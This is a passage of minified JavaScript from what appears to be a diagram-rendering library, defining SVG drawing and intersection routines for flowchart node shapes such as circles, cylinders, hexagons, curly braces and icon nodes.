gJ(t,e){let{labelStyles:r}=je(e);e.labelStyle=r;let n=st(e),i=n;n||(i="anchor");let a=t.insert("g").attr("class",i).attr("id",e.domId||e.id),s=1,{cssStyles:l}=e,u=Ze.svg(a),h=Je(e,{fill:"black",stroke:"none",fillStyle:"solid"});e.look!=="handDrawn"&&(h.roughness=0);let f=u.circle(0,0,s*2,h),d=a.insert(()=>f,":first-child");return d.attr("class","anchor").attr("style",Cn(l)),Qe(e,d),e.intersect=function(p){return X.info("Circle intersect",e,s,p),Xe.circle(e,s,p)},a}var yJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o(gJ,"anchor")});function vJ(t,e,r,n,i,a,s){let u=(t+r)/2,h=(e+n)/2,f=Math.atan2(n-e,r-t),d=(r-t)/2,p=(n-e)/2,m=d/i,g=p/a,y=Math.sqrt(m**2+g**2);if(y>1)throw new Error("The given radii are too small to create an arc between the points.");let v=Math.sqrt(1-y**2),x=u+v*a*Math.sin(f)*(s?-1:1),b=h-v*i*Math.cos(f)*(s?-1:1),T=Math.atan2((e-b)/a,(t-x)/i),w=Math.atan2((n-b)/a,(r-x)/i)-T;s&&w<0&&(w+=2*Math.PI),!s&&w>0&&(w-=2*Math.PI);let k=[];for(let A=0;A<20;A++){let C=A/19,R=T+C*w,I=x+i*Math.cos(R),L=b+a*Math.sin(R);k.push({x:I,y:L})}return k}async function xJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.width+e.padding+20,l=a.height+e.padding,u=l/2,h=u/(2.5+l/50),{cssStyles:f}=e,d=[{x:s/2,y:-l/2},{x:-s/2,y:-l/2},...vJ(-s/2,-l/2,-s/2,l/2,h,u,!1),{x:s/2,y:l/2},...vJ(s/2,l/2,s/2,-l/2,h,u,!0)],p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(d),y=p.path(g,m),v=i.insert(()=>y,":first-child");return v.attr("class","basic label-container"),f&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&v.selectAll("path").attr("style",n),v.attr("transform",`translate(${h/2}, 0)`),Qe(e,v),e.intersect=function(x){return Xe.polygon(e,d,x)},i}var bJ=N(()=>{"use strict";It();Ut();$t();Ht();o(vJ,"generateArcPoints");o(xJ,"bowTieRect")});function Bs(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Jh=N(()=>{"use strict";o(Bs,"insertPolygonShape")});async function TJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+e.padding,l=12,u=a.width+e.padding+l,h=0,f=u,d=-s,p=0,m=[{x:h+l,y:d},{x:f,y:d},{x:f,y:p},{x:h,y:p},{x:h,y:d+l},{x:h+l,y:d}],g,{cssStyles:y}=e;if(e.look==="handDrawn"){let v=Ze.svg(i),x=Je(e,{}),b=Vt(m),T=v.path(b,x);g=i.insert(()=>T,":first-child").attr("transform",`translate(${-u/2}, ${s/2})`),y&&g.attr("style",y)}else g=Bs(i,u,s,m);return n&&g.attr("style",n),Qe(e,g),e.intersect=function(v){return Xe.polygon(e,m,v)},i}var wJ=N(()=>{"use strict";It();Ut();$t();Ht();Jh();It();o(TJ,"card")});function kJ(t,e){let{nodeStyles:r}=je(e);e.label="";let n=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:i}=e,a=Math.max(28,e.width??0),s=[{x:0,y:a/2},{x:a/2,y:0},{x:0,y:-a/2},{x:-a/2,y:0}],l=Ze.svg(n),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=Vt(s),f=l.path(h,u),d=n.insert(()=>f,":first-child");return i&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",i),r&&e.look!=="handDrawn"&&d.selectAll("path").attr("style",r),e.width=28,e.height=28,e.intersect=function(p){return Xe.polygon(e,s,p)},n}var EJ=N(()=>{"use strict";Ut();Ht();$t();It();o(kJ,"choice")});async function iw(t,e,r){let{labelStyles:n,nodeStyles:i}=je(e);e.labelStyle=n;let{shapeSvg:a,bbox:s,halfPadding:l}=await ut(t,e,st(e)),u=r?.padding??l,h=s.width/2+u,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(a),m=Je(e,{}),g=p.circle(0,0,h*2,m);f=a.insert(()=>g,":first-child"),f.attr("class","basic label-container").attr("style",Cn(d))}else f=a.insert("circle",":first-child").attr("class","basic label-container").attr("style",i).attr("r",h).attr("cx",0).attr("cy",0);return Qe(e,f),e.calcIntersect=function(p,m){let g=p.width/2;return Xe.circle(p,g,m)},e.intersect=function(p){return X.info("Circle intersect",e,h,p),Xe.circle(e,h,p)},a}var U9=N(()=>{"use strict";Ht();pt();tr();Ut();$t();It();o(iw,"circle")});function cRe(t){let e=Math.cos(Math.PI/4),r=Math.sin(Math.PI/4),n=t*2,i={x:n/2*e,y:n/2*r},a={x:-(n/2)*e,y:n/2*r},s={x:-(n/2)*e,y:-(n/2)*r},l={x:n/2*e,y:-(n/2)*r};return`M ${a.x},${a.y} L ${l.x},${l.y} + M ${i.x},${i.y} L ${s.x},${s.y}`}function SJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r,e.label="";let i=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),a=Math.max(30,e?.width??0),{cssStyles:s}=e,l=Ze.svg(i),u=Je(e,{});e.look!=="handDrawn"&&(u.roughness=0,u.fillStyle="solid");let h=l.circle(0,0,a*2,u),f=cRe(a),d=l.path(f,u),p=i.insert(()=>h,":first-child");return p.insert(()=>d),s&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",s),n&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",n),Qe(e,p),e.intersect=function(m){return X.info("crossedCircle intersect",e,{radius:a,point:m}),Xe.circle(e,a,m)},i}var CJ=N(()=>{"use strict";pt();It();$t();Ht();Ut();o(cRe,"createLine");o(SJ,"crossedCircle")});function ef(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${h}, 0)`),s.attr("transform",`translate(${-l/2+h-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var _J=N(()=>{"use strict";It();Ut();$t();Ht();o(ef,"generateCirclePoints");o(AJ,"curlyBraceLeft")});function tf(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dT,":first-child").attr("stroke-opacity",0),S.insert(()=>x,":first-child"),S.attr("class","text"),f&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&S.selectAll("path").attr("style",n),S.attr("transform",`translate(${-h}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,S),e.intersect=function(w){return Xe.polygon(e,p,w)},i}var LJ=N(()=>{"use strict";It();Ut();$t();Ht();o(tf,"generateCirclePoints");o(DJ,"curlyBraceRight")});function Oa(t,e,r,n=100,i=0,a=180){let s=[],l=i*Math.PI/180,f=(a*Math.PI/180-l)/(n-1);for(let d=0;dA,":first-child").attr("stroke-opacity",0),C.insert(()=>b,":first-child"),C.insert(()=>w,":first-child"),C.attr("class","text"),f&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",f),n&&e.look!=="handDrawn"&&C.selectAll("path").attr("style",n),C.attr("transform",`translate(${h-h/4}, 0)`),s.attr("transform",`translate(${-l/2+(e.padding??0)/2-(a.x-(a.left??0))},${-u/2+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,C),e.intersect=function(R){return Xe.polygon(e,m,R)},i}var NJ=N(()=>{"use strict";It();Ut();$t();Ht();o(Oa,"generateCirclePoints");o(RJ,"curlyBraces")});async function MJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=80,l=20,u=Math.max(s,(a.width+(e.padding??0)*2)*1.25,e?.width??0),h=Math.max(l,a.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=u,y=h,v=g-f,x=y/4,b=[{x:v,y:0},{x,y:0},{x:0,y:y/2},{x,y},{x:v,y},...Kd(-v,-y/2,f,50,270,90)],T=Vt(b),S=p.path(T,m),w=i.insert(()=>S,":first-child");return w.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&w.selectChildren("path").attr("style",n),w.attr("transform",`translate(${-u/2}, ${-h/2})`),Qe(e,w),e.intersect=function(k){return Xe.polygon(e,b,k)},i}var IJ=N(()=>{"use strict";It();Ut();$t();Ht();o(MJ,"curvedTrapezoid")});async function OJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=Math.max(a.width+e.padding,e.width??0),u=l/2,h=u/(2.5+l/50),f=Math.max(a.height+h+e.padding,e.height??0),d,{cssStyles:p}=e;if(e.look==="handDrawn"){let m=Ze.svg(i),g=hRe(0,0,l,f,u,h),y=fRe(0,h,l,f,u,h),v=m.path(g,Je(e,{})),x=m.path(y,Je(e,{fill:"none"}));d=i.insert(()=>x,":first-child"),d=i.insert(()=>v,":first-child"),d.attr("class","basic label-container"),p&&d.attr("style",p)}else{let m=uRe(0,0,l,f,u,h);d=i.insert("path",":first-child").attr("d",m).attr("class","basic label-container").attr("style",Cn(p)).attr("style",n)}return d.attr("label-offset-y",h),d.attr("transform",`translate(${-l/2}, ${-(f/2+h)})`),Qe(e,d),s.attr("transform",`translate(${-(a.width/2)-(a.x-(a.left??0))}, ${-(a.height/2)+(e.padding??0)/1.5-(a.y-(a.top??0))})`),e.intersect=function(m){let g=Xe.rect(e,m),y=g.x-(e.x??0);if(u!=0&&(Math.abs(y)<(e.width??0)/2||Math.abs(y)==(e.width??0)/2&&Math.abs(g.y-(e.y??0))>(e.height??0)/2-h)){let v=h*h*(1-y*y/(u*u));v>0&&(v=Math.sqrt(v)),v=h-v,m.y-(e.y??0)>0&&(v=-v),g.y+=v}return g},i}var uRe,hRe,fRe,PJ=N(()=>{"use strict";It();Ut();$t();Ht();tr();uRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`a${i},${a} 0,0,0 ${r},0`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createCylinderPathD"),hRe=o((t,e,r,n,i,a)=>[`M${t},${e+a}`,`M${t+r},${e+a}`,`a${i},${a} 0,0,0 ${-r},0`,`l0,${n}`,`a${i},${a} 0,0,0 ${r},0`,`l0,${-n}`].join(" "),"createOuterCylinderPathD"),fRe=o((t,e,r,n,i,a)=>[`M${t-r/2},${-n/2}`,`a${i},${a} 0,0,0 ${r},0`].join(" "),"createInnerCylinderPathD");o(OJ,"cylinder")});async function BJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+e.padding,u=a.height+e.padding,h=u*.2,f=-l/2,d=-u/2-h/2,{cssStyles:p}=e,m=Ze.svg(i),g=Je(e,{});e.look!=="handDrawn"&&(g.roughness=0,g.fillStyle="solid");let y=[{x:f,y:d+h},{x:-f,y:d+h},{x:-f,y:-d},{x:f,y:-d},{x:f,y:d},{x:-f,y:d},{x:-f,y:d+h}],v=m.polygon(y.map(b=>[b.x,b.y]),g),x=i.insert(()=>v,":first-child");return x.attr("class","basic label-container"),p&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",p),n&&e.look!=="handDrawn"&&x.selectAll("path").attr("style",n),s.attr("transform",`translate(${f+(e.padding??0)/2-(a.x-(a.left??0))}, ${d+h+(e.padding??0)/2-(a.y-(a.top??0))})`),Qe(e,x),e.intersect=function(b){return Xe.rect(e,b)},i}var FJ=N(()=>{"use strict";It();Ut();$t();Ht();o(BJ,"dividedRectangle")});async function $J(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,halfPadding:s}=await ut(t,e,st(e)),u=a.width/2+s+5,h=a.width/2+s,f,{cssStyles:d}=e;if(e.look==="handDrawn"){let p=Ze.svg(i),m=Je(e,{roughness:.2,strokeWidth:2.5}),g=Je(e,{roughness:.2,strokeWidth:1.5}),y=p.circle(0,0,u*2,m),v=p.circle(0,0,h*2,g);f=i.insert("g",":first-child"),f.attr("class",Cn(e.cssClasses)).attr("style",Cn(d)),f.node()?.appendChild(y),f.node()?.appendChild(v)}else{f=i.insert("g",":first-child");let p=f.insert("circle",":first-child"),m=f.insert("circle");f.attr("class","basic label-container").attr("style",n),p.attr("class","outer-circle").attr("style",n).attr("r",u).attr("cx",0).attr("cy",0),m.attr("class","inner-circle").attr("style",n).attr("r",h).attr("cx",0).attr("cy",0)}return Qe(e,f),e.intersect=function(p){return X.info("DoubleCircle intersect",e,u,p),Xe.circle(e,u,p)},i}var zJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();tr();o($J,"doublecircle")});function GJ(t,e,{config:{themeVariables:r}}){let{labelStyles:n,nodeStyles:i}=je(e);e.label="",e.labelStyle=n;let a=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),s=7,{cssStyles:l}=e,u=Ze.svg(a),{nodeBorder:h}=r,f=Je(e,{fillStyle:"solid"});e.look!=="handDrawn"&&(f.roughness=0);let d=u.circle(0,0,s*2,f),p=a.insert(()=>d,":first-child");return p.selectAll("path").attr("style",`fill: ${h} !important;`),l&&l.length>0&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",l),i&&e.look!=="handDrawn"&&p.selectAll("path").attr("style",i),Qe(e,p),e.intersect=function(m){return X.info("filledCircle intersect",e,{radius:s,point:m}),Xe.circle(e,s,m)},a}var VJ=N(()=>{"use strict";Ht();pt();Ut();$t();It();o(GJ,"filledCircle")});async function UJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a,label:s}=await ut(t,e,st(e)),l=a.width+(e.padding??0),u=l+a.height,h=l+a.height,f=[{x:0,y:-u},{x:h,y:-u},{x:h/2,y:0}],{cssStyles:d}=e,p=Ze.svg(i),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=Vt(f),y=p.path(g,m),v=i.insert(()=>y,":first-child").attr("transform",`translate(${-u/2}, ${u/2})`);return d&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&v.selectChildren("path").attr("style",n),e.width=l,e.height=u,Qe(e,v),s.attr("transform",`translate(${-a.width/2-(a.x-(a.left??0))}, ${-u/2+(e.padding??0)/2+(a.y-(a.top??0))})`),e.intersect=function(x){return X.info("Triangle intersect",e,f,x),Xe.polygon(e,f,x)},i}var HJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();It();o(UJ,"flippedTriangle")});function qJ(t,e,{dir:r,config:{state:n,themeVariables:i}}){let{nodeStyles:a}=je(e);e.label="";let s=t.insert("g").attr("class",st(e)).attr("id",e.domId??e.id),{cssStyles:l}=e,u=Math.max(70,e?.width??0),h=Math.max(10,e?.height??0);r==="LR"&&(u=Math.max(10,e?.width??0),h=Math.max(70,e?.height??0));let f=-1*u/2,d=-1*h/2,p=Ze.svg(s),m=Je(e,{stroke:i.lineColor,fill:i.lineColor});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=p.rectangle(f,d,u,h,m),y=s.insert(()=>g,":first-child");l&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",l),a&&e.look!=="handDrawn"&&y.selectAll("path").attr("style",a),Qe(e,y);let v=n?.padding??0;return e.width&&e.height&&(e.width+=v/2||0,e.height+=v/2||0),e.intersect=function(x){return Xe.rect(e,x)},s}var WJ=N(()=>{"use strict";Ht();Ut();$t();It();o(qJ,"forkJoin")});async function YJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let i=80,a=50,{shapeSvg:s,bbox:l}=await ut(t,e,st(e)),u=Math.max(i,l.width+(e.padding??0)*2,e?.width??0),h=Math.max(a,l.height+(e.padding??0)*2,e?.height??0),f=h/2,{cssStyles:d}=e,p=Ze.svg(s),m=Je(e,{});e.look!=="handDrawn"&&(m.roughness=0,m.fillStyle="solid");let g=[{x:-u/2,y:-h/2},{x:u/2-f,y:-h/2},...Kd(-u/2+f,0,f,50,90,270),{x:u/2-f,y:h/2},{x:-u/2,y:h/2}],y=Vt(g),v=p.path(y,m),x=s.insert(()=>v,":first-child");return x.attr("class","basic label-container"),d&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",d),n&&e.look!=="handDrawn"&&x.selectChildren("path").attr("style",n),Qe(e,x),e.intersect=function(b){return X.info("Pill intersect",e,{radius:f,point:b}),Xe.polygon(e,g,b)},s}var XJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(YJ,"halfRoundedRectangle")});async function jJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.labelStyle=r;let{shapeSvg:i,bbox:a}=await ut(t,e,st(e)),s=a.height+(e.padding??0),l=a.width+(e.padding??0)*2.5,{cssStyles:u}=e,h=Ze.svg(i),f=Je(e,{});e.look!=="handDrawn"&&(f.roughness=0,f.fillStyle="solid");let d=l/2,p=d/6;d=d+p;let m=s/2,g=m/2,y=d-g,v=[{x:-y,y:-m},{x:0,y:-m},{x:y,y:-m},{x:d,y:0},{x:y,y:m},{x:0,y:m},{x:-y,y:m},{x:-d,y:0}],x=Vt(v),b=h.path(x,f),T=i.insert(()=>b,":first-child");return T.attr("class","basic label-container"),u&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",u),n&&e.look!=="handDrawn"&&T.selectChildren("path").attr("style",n),e.width=l,e.height=s,Qe(e,T),e.intersect=function(S){return Xe.polygon(e,v,S)},i}var KJ=N(()=>{"use strict";It();Ut();$t();Ht();o(jJ,"hexagon")});async function QJ(t,e){let{labelStyles:r,nodeStyles:n}=je(e);e.label="",e.labelStyle=r;let{shapeSvg:i}=await ut(t,e,st(e)),a=Math.max(30,e?.width??0),s=Math.max(30,e?.height??0),{cssStyles:l}=e,u=Ze.svg(i),h=Je(e,{});e.look!=="handDrawn"&&(h.roughness=0,h.fillStyle="solid");let f=[{x:0,y:0},{x:a,y:0},{x:0,y:s},{x:a,y:s}],d=Vt(f),p=u.path(d,h),m=i.insert(()=>p,":first-child");return m.attr("class","basic label-container"),l&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",l),n&&e.look!=="handDrawn"&&m.selectChildren("path").attr("style",n),m.attr("transform",`translate(${-a/2}, ${-s/2})`),Qe(e,m),e.intersect=function(g){return X.info("Pill intersect",e,{points:f}),Xe.polygon(e,f,g)},i}var ZJ=N(()=>{"use strict";pt();It();Ut();$t();Ht();o(QJ,"hourglass")});async function JJ(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await ut(t,e,"icon-shape default"),p=e.pos==="t",m=l,g=l,{nodeBorder:y}=r,{stylesMap:v}=wc(e),x=-g/2,b=-m/2,T=e.label?8:0,S=Ze.svg(h),w=Je(e,{stroke:"none",fill:"none"});e.look!=="handDrawn"&&(w.roughness=0,w.fillStyle="solid");let k=S.rectangle(x,b,g,m,w),A=Math.max(g,f.width),C=m+f.height+T,R=S.rectangle(-A/2,-C/2,A,C,{...w,fill:"transparent",stroke:"none"}),I=h.insert(()=>k,":first-child"),L=h.insert(()=>R);if(e.icon){let E=h.append("g");E.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let D=E.node().getBBox(),_=D.width,O=D.height,M=D.x,P=D.y;E.attr("transform",`translate(${-_/2-M},${p?f.height/2+T/2-O/2-P:-f.height/2-T/2-O/2-P})`),E.attr("style",`color: ${v.get("stroke")??y};`)}return d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${p?-C/2:C/2-f.height})`),I.attr("transform",`translate(0,${p?f.height/2+T/2:-f.height/2-T/2})`),Qe(e,L),e.intersect=function(E){if(X.info("iconSquare intersect",e,E),!e.label)return Xe.rect(e,E);let D=e.x??0,_=e.y??0,O=e.height??0,M=[];return p?M=[{x:D-f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2},{x:D+f.width/2,y:_-O/2+f.height+T},{x:D+g/2,y:_-O/2+f.height+T},{x:D+g/2,y:_+O/2},{x:D-g/2,y:_+O/2},{x:D-g/2,y:_-O/2+f.height+T},{x:D-f.width/2,y:_-O/2+f.height+T}]:M=[{x:D-g/2,y:_-O/2},{x:D+g/2,y:_-O/2},{x:D+g/2,y:_-O/2+m},{x:D+f.width/2,y:_-O/2+m},{x:D+f.width/2/2,y:_+O/2},{x:D-f.width/2,y:_+O/2},{x:D-f.width/2,y:_-O/2+m},{x:D-g/2,y:_-O/2+m}],Xe.polygon(e,M,E)},h}var eee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(JJ,"icon")});async function tee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,label:d}=await ut(t,e,"icon-shape default"),p=20,m=e.label?8:0,g=e.pos==="t",{nodeBorder:y,mainBkg:v}=r,{stylesMap:x}=wc(e),b=Ze.svg(h),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let S=x.get("fill");T.stroke=S??v;let w=h.append("g");e.icon&&w.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let k=w.node().getBBox(),A=k.width,C=k.height,R=k.x,I=k.y,L=Math.max(A,C)*Math.SQRT2+p*2,E=b.circle(0,0,L,T),D=Math.max(L,f.width),_=L+f.height+m,O=b.rectangle(-D/2,-_/2,D,_,{...T,fill:"transparent",stroke:"none"}),M=h.insert(()=>E,":first-child"),P=h.insert(()=>O);return w.attr("transform",`translate(${-A/2-R},${g?f.height/2+m/2-C/2-I:-f.height/2-m/2-C/2-I})`),w.attr("style",`color: ${x.get("stroke")??y};`),d.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${g?-_/2:_/2-f.height})`),M.attr("transform",`translate(0,${g?f.height/2+m/2:-f.height/2-m/2})`),Qe(e,P),e.intersect=function(B){return X.info("iconSquare intersect",e,B),Xe.rect(e,B)},h}var ree=N(()=>{"use strict";Ht();pt();nc();Ut();$t();It();o(tee,"iconCircle")});var Fs,Zd=N(()=>{"use strict";Fs=o((t,e,r,n,i)=>["M",t+i,e,"H",t+r-i,"A",i,i,0,0,1,t+r,e+i,"V",e+n-i,"A",i,i,0,0,1,t+r-i,e+n,"H",t+i,"A",i,i,0,0,1,t,e+n-i,"V",e+i,"A",i,i,0,0,1,t+i,e,"Z"].join(" "),"createRoundedRectPathD")});async function nee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,5),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child").attr("class","icon-shape2"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var iee=N(()=>{"use strict";Ht();pt();nc();Ut();$t();Zd();It();o(nee,"iconRounded")});async function aee(t,e,{config:{themeVariables:r,flowchart:n}}){let{labelStyles:i}=je(e);e.labelStyle=i;let a=e.assetHeight??48,s=e.assetWidth??48,l=Math.max(a,s),u=n?.wrappingWidth;e.width=Math.max(l,u??0);let{shapeSvg:h,bbox:f,halfPadding:d,label:p}=await ut(t,e,"icon-shape default"),m=e.pos==="t",g=l+d*2,y=l+d*2,{nodeBorder:v,mainBkg:x}=r,{stylesMap:b}=wc(e),T=-y/2,S=-g/2,w=e.label?8:0,k=Ze.svg(h),A=Je(e,{});e.look!=="handDrawn"&&(A.roughness=0,A.fillStyle="solid");let C=b.get("fill");A.stroke=C??x;let R=k.path(Fs(T,S,y,g,.1),A),I=Math.max(y,f.width),L=g+f.height+w,E=k.rectangle(-I/2,-L/2,I,L,{...A,fill:"transparent",stroke:"none"}),D=h.insert(()=>R,":first-child"),_=h.insert(()=>E);if(e.icon){let O=h.append("g");O.html(`${await _s(e.icon,{height:l,width:l,fallbackPrefix:""})}`);let M=O.node().getBBox(),P=M.width,B=M.height,F=M.x,G=M.y;O.attr("transform",`translate(${-P/2-F},${m?f.height/2+w/2-B/2-G:-f.height/2-w/2-B/2-G})`),O.attr("style",`color: ${b.get("stroke")??v};`)}return p.attr("transform",`translate(${-f.width/2-(f.x-(f.left??0))},${m?-L/2:L/2-f.height})`),D.attr("transform",`translate(0,${m?f.height/2+w/2:-f.height/2-w/2})`),Qe(e,_),e.intersect=function(O){if(X.info("iconSquare intersect",e,O),!e.label)return Xe.rect(e,O);let M=e.x??0,P=e.y??0,B=e.height??0,F=[];return m?F=[{x:M-f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2},{x:M+f.width/2,y:P-B/2+f.height+w},{x:M+y/2,y:P-B/2+f.height+w},{x:M+y/2,y:P+B/2},{x:M-y/2,y:P+B/2},{x:M-y/2,y:P-B/2+f.height+w},{x:M-f.width/2,y:P-B/2+f.height+w}]:F=[{x:M-y/2,y:P-B/2},{x:M+y/2,y:P-B/2},{x:M+y/2,y:P-B/2+g},{x:M+f.width/2,y:P-B/2+g},{x:M+f.width/2/2,y:P+B/2},{x:M-f.width/2,y:P+B/2},{x:M-f.width/2,y:P-B/2+g},{x:M-y/2,y:P-B/2+g}],Xe.polygon(e,F,O)},h}var see=N(()=>{"use strict";Ht();pt();nc();Ut();Zd();$t();It();o(aee,"iconSquare")});async function oee(t,e,{config:{flowchart:r}}){let n=new Image;n.src=e?.img??"",await n.decode();let i=Number(n.naturalWidth.toString().replace("px","")),a=Number(n.naturalHeight.toString().replace("px",""));e.imageAspectRatio=i/a;let{labelStyles:s}=je(e);e.labelStyle=s;let l=r?.wrappingWidth;e.defaultWidth=r?.wrappingWidth;let u=Math.max(e.label?l??0:0,e?.assetWidth??i),h=e.constraint==="on"&&e?.assetHeight?e.assetHeight*e.imageAspectRatio:u,f=e.constraint==="on"?h/e.imageAspectRatio:e?.assetHeight??a;e.width=Math.max(h,l??0);let{shapeSvg:d,bbox:p,label:m}=await ut(t,e,"image-shape default"),g=e.pos==="t",y=-h/2,v=-f/2,x=e.label?8:0,b=Ze.svg(d),T=Je(e,{});e.look!=="handDrawn"&&(T.roughness=0,T.fillStyle="solid");let 